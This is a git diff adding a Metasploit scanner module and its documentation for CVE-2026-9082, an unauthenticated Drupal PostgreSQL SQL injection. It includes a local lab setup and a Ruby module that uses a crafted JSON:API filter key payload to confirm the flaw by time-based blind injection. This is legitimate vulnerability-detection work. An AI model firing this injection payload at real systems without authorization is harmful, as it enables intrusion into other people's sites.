diff --git a/documentation/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.md b/documentation/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.md new file mode 100644 index 0000000000000..29571d6e0045f --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.md @@ -0,0 +1,121 @@ +## Vulnerable Application + +CVE-2026-9082 (Drupal SA-CORE-2026-004) affects Drupal core versions >= 8.9.0 +< 10.4.10, >= 10.5.0 < 10.5.10, >= 10.6.0 < 10.6.9, >= 11.0.0 < 11.1.10, +>= 11.2.0 < 11.2.12, and >= 11.3.0 < 11.3.10 on PostgreSQL. Drupal 8.9 and 9 +require the advisory's manual patches because those branches are EOL. +MySQL, MariaDB, and SQLite are not affected. + +### Setup with Podman + +From the Metasploit Framework checkout, create vulnerable Drupal 11.2.0 and +patched Drupal 11.2.12 targets: + +```bash +set -euo pipefail + +wait_for() { + description="$1" + shift + for attempt in $(seq 1 90); do + if "$@"; then + return 0 + fi + sleep 2 + done + echo "Timed out waiting for $description" >&2 + return 1 +} + +podman network create drupal-net +podman run -d --name drupal-pg --network drupal-net \ + -e POSTGRES_DB=drupal -e POSTGRES_USER=drupal -e POSTGRES_PASSWORD=drupal \ + docker.io/library/postgres:16.3-alpine +wait_for PostgreSQL podman exec drupal-pg pg_isready -U drupal +podman exec drupal-pg createdb -U drupal drupal_patched + +install_drupal() { + name="$1"; image="$2"; port="$3"; db_url="$4" + podman run -d --name "$name" --network drupal-net -p "127.0.0.1:$port:80" \ + "docker.io/library/drupal:$image-apache" + podman exec "$name" sh -c \ + 'cd /opt/drupal && composer require drush/drush:13.7.0 --no-interaction' + podman exec "$name" sh -c \ + "cd /opt/drupal && vendor/bin/drush site:install standard --db-url=$db_url --account-pass=adminpass -y" + podman exec "$name" sh -c \ + 'cd /opt/drupal && vendor/bin/drush pm:enable jsonapi -y' + podman exec "$name" sh -c \ + 'cd /opt/drupal && vendor/bin/drush php:eval '\''\Drupal\node\Entity\Node::create(["type"=>"article","title"=>"Test"])->save();'\''' +} + +install_drupal drupal-web-pg 11.2.0 8080 pgsql://drupal:drupal@drupal-pg/drupal +install_drupal drupal-web-patched 11.2.12 8082 pgsql://drupal:drupal@drupal-pg/drupal_patched + +for port in 8080 8082; do + wait_for "Drupal JSON:API on port $port" curl -fsS \ + "http://127.0.0.1:$port/jsonapi/node/article" +done +``` + +Mount the unmerged module and join the target network: + +```bash +podman run -it --rm --name msf --network drupal-net \ + -v "$PWD/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.rb:/usr/src/metasploit-framework/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.rb:ro,Z" \ + docker.io/metasploitframework/metasploit-framework:latest ./msfconsole +``` + +With Docker, replace `podman` with `docker` and remove `,Z` from the bind mount. + +## Verification Steps + +1. Create the targets and start msfconsole as shown above. +1. Run `use auxiliary/scanner/http/drupal_pgsql_entityquery_sqli`. +1. Set `RHOSTS` to `drupal-web-pg` and `RPORT` to `80`. +1. Run the module and confirm Drupal 11.2.0 is reported vulnerable. +1. Repeat with `RHOSTS` set to `drupal-web-patched` and confirm it is safe. + +## Options + +### JSONAPI_RESOURCE + +An anonymously readable JSON:API resource as `entity_type/bundle`. It must expose +at least one entity. (Default: `node/article`) + +### JSONAPI_FIELD + +A case-insensitive string field on `JSONAPI_RESOURCE`. (Default: `title`) + +### SqliDelay + +The delay used for the time-based check. Increase it on high-latency targets. +(Default: `3.0`) + +## Scenarios + +### Drupal 11.2.0 and 11.2.12 on PostgreSQL 16.3 + +``` +msf > use auxiliary/scanner/http/drupal_pgsql_entityquery_sqli +msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > set RPORT 80 +RPORT => 80 +msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > set RHOSTS drupal-web-pg +RHOSTS => drupal-web-pg +msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > run +[+] 10.89.8.7:80 - The target is vulnerable. Time-based blind SQL injection via JSON:API filter array key +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > set RHOSTS drupal-web-patched +RHOSTS => drupal-web-patched +msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > run +[*] 10.89.8.8:80 - The target is not exploitable. No time-based SQL injection response detected +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### Cleanup + +```bash +podman rm -f drupal-web-pg drupal-web-patched drupal-pg 2>/dev/null || true +podman network rm drupal-net 2>/dev/null || true +``` diff --git a/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.rb b/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.rb new file mode 100644 index 0000000000000..0a64211075a0d --- /dev/null +++ b/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.rb @@ -0,0 +1,130 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::SQLi + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Drupal Core PostgreSQL EntityQuery SQL Injection', + 'Description' => %q{ + This module detects CVE-2026-9082, an unauthenticated SQL injection in + Drupal core's PostgreSQL EntityQuery condition handler. It uses a crafted + JSON:API filter array key to confirm the vulnerability with time-based + blind SQL injection. MySQL, MariaDB, and SQLite are not affected. + + The configured JSON:API resource must be anonymously readable and expose + at least one entity with a case-insensitive string field. + }, + 'Author' => ['Lukas Johannes Moeller'], + 'References' => [ + ['CVE', '2026-9082'], + ['URL', 'https://www.drupal.org/sa-core-2026-004'], + ['URL', 'https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC'] + ], + 'DisclosureDate' => '2026-05-20', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('JSONAPI_RESOURCE', [true, 'An anonymously readable JSON:API resource as entity_type/bundle', 'node/article']), + OptString.new('JSONAPI_FIELD', [true, 'A case-insensitive string field to filter on', 'title']) + ] + ) + + register_advanced_options( + [ + OptFloat.new('SqliDelay', [false, 'Seconds to pg_sleep for each time-based probe', 3.0]) + ] + ) + end + + def jsonapi_uri + normalize_uri(target_uri.path, 'jsonapi', datastore['JSONAPI_RESOURCE']) + end + + def filter_vars(injection_key = nil) + marker = Rex::Text.rand_text_alphanumeric(8..12) + vars = { + 'filter[sqli][condition][path]' => datastore['JSONAPI_FIELD'], + 'filter[sqli][condition][operator]' => 'IN', + 'filter[sqli][condition][value][0]' => "#{marker}a", + 'filter[sqli][condition][value][1]' => "#{marker}b" + } + vars["filter[sqli][condition][value][#{injection_key}]"] = "#{marker}c" if injection_key + vars + end + + # Breaks out of the PDO placeholder name at the first ')'. + def injection_key(payload) + "1))/**/OR/**/(#{payload})::text=((chr(49)" + end + + def create_drupal_sqli + create_sqli(dbms: PostgreSQLi::TimeBasedBlind) do |payload| + res = send_request_cgi( + { 'method' => 'GET', 'uri' => jsonapi_uri, 'vars_get' => filter_vars(injection_key(payload)) }, + # read timeout must outlast pg_sleep(SqliDelay) plus the round-trip + (datastore['SqliDelay'] + 20).ceil + ) + raise Rex::ConnectionError, 'No response to the SQL injection probe' unless res + raise Rex::ConnectionError, "HTTP #{res.code} from the SQL injection probe" if [408, 502, 503, 504].include?(res.code) + + res + end + end + + def check_host(ip) + baseline = send_request_cgi('method' => 'GET', 'uri' => jsonapi_uri) + return Exploit::CheckCode::Unknown('No response to the baseline JSON:API request') unless baseline + return Exploit::CheckCode::Unknown("#{jsonapi_uri} returned HTTP #{baseline.code}") unless baseline.code == 200 + + doc = baseline.get_json_document + data = doc['data'] if doc.is_a?(Hash) + return Exploit::CheckCode::Unknown("#{datastore['JSONAPI_RESOURCE']} has no entities") unless data.is_a?(Array) && data.any? + + field_res = send_request_cgi('method' => 'GET', 'uri' => jsonapi_uri, 'vars_get' => filter_vars) + return Exploit::CheckCode::Unknown('No response while validating JSONAPI_FIELD') unless field_res + return Exploit::CheckCode::Unknown("JSONAPI_FIELD '#{datastore['JSONAPI_FIELD']}' is not valid for this resource") unless field_res.code == 200 + + report_service(host: ip, port: rport, proto: 'tcp', name: ssl ? 'https' : 'http') + return Exploit::CheckCode::Vulnerable('Time-based blind SQL injection via JSON:API filter array key') if create_drupal_sqli.test_vulnerable + + Exploit::CheckCode::Safe('No time-based SQL injection response detected') + rescue Rex::ConnectionError => e + Exploit::CheckCode::Unknown(e.message) + end + + def run_host(ip) + code = check_host(ip) + unless code == Exploit::CheckCode::Vulnerable + print_status("#{peer} - #{code.message}") + return + end + + print_good("#{peer} - #{code.message}") + report_vuln( + host: ip, + port: rport, + name: name, + info: code.message, + refs: references + ) + end +end